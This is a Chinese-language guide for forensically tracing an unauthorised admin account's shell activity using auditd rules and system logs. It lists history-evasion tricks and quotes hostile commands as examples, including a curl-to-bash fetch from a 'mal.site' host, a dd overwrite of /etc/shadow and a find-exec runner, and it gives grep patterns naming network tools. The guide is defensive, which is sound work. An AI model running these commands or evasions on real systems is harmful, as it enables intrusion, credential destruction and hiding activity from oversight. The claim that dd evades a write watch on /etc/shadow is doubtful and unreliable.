真正有效的追踪必须将Shell历史作为线索入口，联动auditd、auth.log、sudo.log等系统日志还原完整行为链，因非法账号常通过禁用历史、清空文件或使用非交互式Shell绕过单纯.bash_history记录。
直接查 .bash_history 文件远远不够——非法账号往往禁用历史记录、清空文件、或使用非交互式 Shell 绕过，单纯依赖它会漏掉关键操作。真正有效的追踪，必须把 Shell 历史作为“线索入口”，再联动系统级日志和执行上下文，还原完整行为链。
一、先确认历史记录是否被绕过或篡改
非法运维账号常通过以下方式规避记录：
- 启动时加
--norc --noprofile参数，跳过.bashrc和/etc/profile中的历史配置 - 执行前设
HISTFILE=/dev/null或HISTSIZE=0，让命令不进内存也不落盘 - 用
sh -c "..."、python -c或dash等非 Bash 解释器执行敏感命令 - 删除或截断
~/.bash_history后再退出，或用history -c清空内存但未写入文件
验证方法：
- 检查该用户最近登录的 Shell 进程：
ps -u username -o pid,ppid,comm,args | grep -E "(bash|sh|zsh|dash)" - 查看其实际使用的解释器路径：
cat /proc/<pid>/cmdline | tr '\0' ' '</pid> - 比对
last -i -u username登录 IP 与auth.log中的sshd记录是否一致，识别跳板机或代理登录
二、用 auditd 补全缺失的历史记录
Shell 历史可删，但内核级 execve 调用很难绕过。只要账号有 root 权限或执行了提权操作，auditd 就能捕获真实命令。
- 重点监控规则（写入
/etc/audit/rules.d/sensitive.rules）：-a always,exit -F arch=b64 -S execve -F euid=0 -k root_cmd-a always,exit -F arch=b64 -S execve -F uid!=euid -k privilege_drop - 查该账号触发的敏感执行：
ausearch -m execve -ui <uid> -i | grep -E "(wget|curl|nc|bash|sh|python|perl|scp|ssh)"</uid> - 注意时间差：sudo 日志时间戳是请求发起时间，auditd 是内核执行时间，两者偏差超 500ms 可能说明有 PAM 延迟或 SELinux 拦截，需交叉比对
三、关联多源日志还原操作轨迹
单点日志价值有限，组合分析才能定位异常模式：
- 从
/var/log/auth.log找该账号最后一次成功登录时间、IP、终端（tty/pts） - 用该时间戳去查
journalctl -u sshd --since "2026-06-17 14:22:00"，看是否用了密钥登录、是否启用了ForceCommand - 查
/var/log/sudo.log（若已启用），确认是否通过 sudo 执行了高危命令，如sudo su -或sudo bash - 用
lsof -u username -a -p $(pgrep -u username bash)查其 Bash 进程打开的文件，判断是否正在编辑敏感配置
四、识别伪装型敏感操作
攻击者常用合法命令组合实现恶意目的，需结合参数和上下文判断：
-
curl -s http://mal.site/x.sh | bash—— history 里只记 curl，但 auditd 的execve会记录后续的/bin/bash启动 -
dd if=/dev/zero of=/etc/shadow bs=1 count=1 conv=notrunc—— 绕过-w /etc/shadow -p wa规则，但ausearch -m syscall -sc dd -ui <uid></uid>可捕获 -
find /tmp -name "*.sh" -exec chmod +x {} \; -exec {} \;—— 历史中不显眼，但auditctl -l | grep find可确认是否被监控，且ausearch -m execve -i | grep -A2 -B2 "find.*exec"能提取完整链
